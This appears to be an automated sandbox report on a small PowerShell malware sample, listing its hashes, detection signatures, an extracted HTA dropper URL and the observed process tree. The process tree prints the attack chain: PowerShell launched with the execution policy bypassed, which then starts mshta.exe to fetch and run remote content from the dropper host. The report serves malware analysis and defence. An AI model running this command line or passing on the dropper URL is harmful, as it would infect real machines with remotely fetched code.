Analysis

  • user interaction
    yes
  • max time kernel
    28s
  • max time network
    29s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 00:26

General

  • Target
    file.ps1
  • Size 29B
  • Sample260809-arc3haxclc
  • SHA256 a2746b634bc57b34a4b2cf0c13b567543ddc3e466318d7897e47cad4f4d824a6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://agent-work.app/

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1812
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" https://agent-work.app/
      2⤵
      • Badlisted process makes network request
      PID:1840

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_0usuu50o.i33.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0usuu50o.i33.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1812-1-0x000001F9D8250000-0x000001F9D8260000-memory.dmp

        memory/1812-0-0x000001F9D8250000-0x000001F9D8260000-memory.dmp

        memory/1812-2-0x000001F9D8C10000-0x000001F9D8C32000-memory.dmp